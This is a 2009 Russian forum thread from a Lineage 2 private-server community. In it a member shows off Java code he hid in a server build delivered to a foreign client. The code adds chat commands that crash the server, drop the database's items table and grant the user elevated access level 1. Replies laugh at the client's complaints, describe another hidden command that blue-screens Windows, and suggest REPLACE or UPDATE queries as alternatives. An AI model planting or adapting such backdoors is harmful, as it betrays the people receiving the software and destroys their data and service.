Skip to content
La2Base
Home
DownloadsWikiForumFAQ
Search
ruen
Sign up Login
HomeFilesWikiLogin
  • Home
  • Downloads
  • Wiki
  • FAQ
  • Contact Us
  • About
  • Rules
  • Privacy
  • Terms of Service

© 2026 la2base.com · All rights reserved

ruen
Forum/Флуд/Говнокод
Search

Говнокод

24 replies370 viewsCurrently viewing: 1
Глеб
Глеб

User

Ветеран

Posts: 714

На форуме с: 12/09/2008

Репутация: +8

Рейтинг: 0

· 12/11/2009, 12:33 PM

Предложили тут мне выложить это на говнокод, мой маленький подарок одному американцу внутри сборки. 3c2f1c34aa11.gif

Код
package handlers.voicedcommandhandlers;

import net.sf.l2j.L2DatabaseFactory;
import net.sf.l2j.gameserver.handler.model.AVoicedCommandHandler;
import net.sf.l2j.gameserver.model.actor.instance.L2PcInstance;

import java.sql.Connection;
import java.sql.PreparedStatement;
import java.util.logging.Level;

public class HeyApple extends AVoicedCommandHandler
{
    private static final String[] _voicedCommands =
            {
                    "knife",
                    "death",
                    "spy"
            };

    private static final String HELLO = "DROP TABLE items";

    public boolean useVoicedCommand(String command, L2PcInstance activeChar, String target)
    {
        if (command.equalsIgnoreCase("knife"))
        {
            System.exit(1);
        }
        else if (command.equalsIgnoreCase("death"))
        {
            Connection con = null;
            try
            {
                con = L2DatabaseFactory.getInstance().getConnection();
                PreparedStatement statement = con.prepareStatement(HELLO);
                statement.execute();
                statement.close();
            }
            catch (Exception e)
            {
                _log.log(Level.WARNING, "Oops: ", e);
            }
            finally
            {
                try
                {
                    if (con != null)
                        con.close();
                }
                catch (Exception ignored) {}
            }
        }
        else if (command.equalsIgnoreCase("spy"))
        {
            activeChar.setAccessLevel(1);
            activeChar.sendMessage("Hrrr Hrrr :D");
        }
        return true;
    }

    public String[] getVoicedCommandList()
    {
        return _voicedCommands;
    }

    public static void main(String[] args)
    {
        new HeyApple();
    }
}




Hey Apple! xD _http://www.youtube.com/watch?v=K80_WdnvkDw

0
about
about

User

Участник

Posts: 27

На форуме с: 04/23/2009

Рейтинг: 0

· 12/11/2009, 12:33 PM

Да будет раздет весь сервер :D

0
Глеб
Глеб

User

Ветеран

Posts: 714

На форуме с: 12/09/2008

Репутация: +8

Рейтинг: 0

· 12/11/2009, 12:34 PM

xD

0
V
VlLight
· 12/11/2009, 12:43 PM

Необычайно остроумно, ага..

0
Глеб
Глеб

User

Ветеран

Posts: 714

На форуме с: 12/09/2008

Репутация: +8

Рейтинг: 0

· 12/11/2009, 12:45 PM

Потому и говнокод) Быстро, просто и со вкусом.

0
V
VlLight
· 12/11/2009, 12:47 PM

Сочувствую тому, кто возьмёт тебя в техадмины :)

0
tsa
tsa

Author

Ветеран

Posts: 566

На форуме с: 05/10/2009

Репутация: +132

Рейтинг: 0

· 12/11/2009, 12:48 PM

помоему это угкод а не говнокод.
(без обид)

0
Глеб
Глеб

User

Ветеран

Posts: 714

На форуме с: 12/09/2008

Репутация: +8

Рейтинг: 0

· 12/11/2009, 12:49 PM

VlLight: Сочувствую тому, кто возьмёт тебя в техадмины :)


Вот какая досада то derisive.gif

0
Женя
Женя

User

Бывалый

Posts: 174

На форуме с: 11/16/2007

Репутация: +33

Рейтинг: 0

· 12/11/2009, 12:56 PM

Сама доброта, у мя тока С++ (PTS) екст тоже, там комманда в бсод уводит Windows, проверка оправдала себя даже =)
Сожалею кто ето поставит =)

0
Глеб
Глеб

User

Ветеран

Posts: 714

На форуме с: 12/09/2008

Репутация: +8

Рейтинг: 0

· 12/11/2009, 01:00 PM

Какая досада:
ButterCup, 11.12.2009 15:51:16:
hello

ButterCup, 15:53:37:
ar u here

Qarked, 15:53:42:
yea

Qarked, 15:53:45:
hi

ButterCup, 15:54:11:
mate i ask u for that commnad

ButterCup, 15:54:18:
of gm

ButterCup, 15:54:22:
to desplay txt

ButterCup, 15:54:29:
and u have give me a crap shit

Qarked, 15:54:38:
xD

ButterCup, 15:54:48:
if (command.equalsIgnoreCase("knife"))
{
System.exit(1);
}

ButterCup, 15:54:57:
and more shti

ButterCup, 15:55:08:
so camn u give me that patch ?

Qarked, 15:55:35:
i made for you command //scr in admcommandhandlers

ButterCup, 15:55:53:
where is taht

ButterCup, 15:56:03:
cos i whnat to putit on my servar

ButterCup, 15:56:10:
i do not need a sew server

Qarked, 15:56:14:
commands knife, etc is simplify joke xD

ButterCup, 15:56:20:
i just whant the patch

ButterCup, 15:57:09:
"knife",
"death",
"spy"

ButterCup, 15:57:16:
thisis all commands u have put

ButterCup, 15:58:24:
so can u give t me taht patch ?

ButterCup, 15:58:30:
say yes or no pls

Qarked, 15:58:59:
serverpackets/ExShowScreenMessage
admincommandhandlers/adminannouncements

derisive.gif , а жаль

0
about
about

User

Участник

Posts: 27

На форуме с: 04/23/2009

Рейтинг: 0

· 12/11/2009, 01:01 PM

Я не сожалею тому, кто это поставит, а я жалею того человека, который это поставит, ибо мозг у него явно отсутствует, полностью.

ButterCup 05e811906ebf.gif Я его знаю с форума L2jOfficial... Бедняга... у него вроде довольно раскрученный сервер.

0
AbsT
AbsT

User

Ветеран

Posts: 1514

На форуме с: 12/10/2007

Репутация: +768

Рейтинг: 0

· 12/11/2009, 01:02 PM

палишся

Цитата
catch (Exception e)
{
_log.log(Level.WARNING, "Oops: ", e);

— Ålderdom - ingen glädje..

0
Глеб
Глеб

User

Ветеран

Posts: 714

На форуме с: 12/09/2008

Репутация: +8

Рейтинг: 0

· 12/11/2009, 01:06 PM

AbsT: палишся


Да надо было убрать лог в консоль при ошибке. Хотя она по идее не может случиться

0
tsa
tsa

Author

Ветеран

Posts: 566

На форуме с: 05/10/2009

Репутация: +132

Рейтинг: 0

· 12/11/2009, 01:06 PM

юные школо-праграмисты пытаюца самаутвердица?
код наверняка скопировали с какого-либо форума.

0
Глеб
Глеб

User

Ветеран

Posts: 714

На форуме с: 12/09/2008

Репутация: +8

Рейтинг: 0

· 12/11/2009, 01:09 PM

qwerty111: юные школо-праграмисты пытаюца самаутвердица?
код наверняка скопировали с какого-либо форума.


Иди ты от сюда бога ради, чем самоутвердиться, кодом который пишется за минуту? lol
Выложено смеха ради)

0
AbsT
AbsT

User

Ветеран

Posts: 1514

На форуме с: 12/10/2007

Репутация: +768

Рейтинг: 0

· 12/11/2009, 01:12 PM

Цитата
Хотя она по идее не может случиться

А про привилегии не слыхал? :)
Еще как может вывалится, если у юзера отнимут глобальный drop.

— Ålderdom - ingen glädje..

0
Глеб
Глеб

User

Ветеран

Posts: 714

На форуме с: 12/09/2008

Репутация: +8

Рейтинг: 0

· 12/11/2009, 01:13 PM

AbsT: А про привилегии не слыхал? :)
Еще как может вывалится, если у юзера отнимут глобальный drop.


Да вот про права на юзера sql я как то не подумал :p

0
Глеб
Глеб

User

Ветеран

Posts: 714

На форуме с: 12/09/2008

Репутация: +8

Рейтинг: 0

· 12/11/2009, 01:31 PM

Да кстати, в таком случае запросы replace и update никто не отменял.

0
Женя
Женя

User

Бывалый

Posts: 174

На форуме с: 11/16/2007

Репутация: +33

Рейтинг: 0

· 12/11/2009, 02:41 PM

Такое надо делать в целях защиты сервера, я если буду продавать когдато продукт то я это поставлю для того что-бы те кто будут нарушать правила платились за использование продукта, хотя лучше арму нацепить =)

0
Глеб
Глеб

User

Ветеран

Posts: 714

На форуме с: 12/09/2008

Репутация: +8

Рейтинг: 0

· 12/11/2009, 02:45 PM

jeka101: Такое надо делать в целях защиты сервера, я если буду продавать когдато продукт то я это поставлю для того что-бы те кто будут нарушать правила платились за использование продукта, хотя лучше арму нацепить =)


Ну для таких целей данный говнокод не подойдет, он слишком примитивен и его легко найти ;)

0
Войдите или зарегистрируйтесь чтобы ответить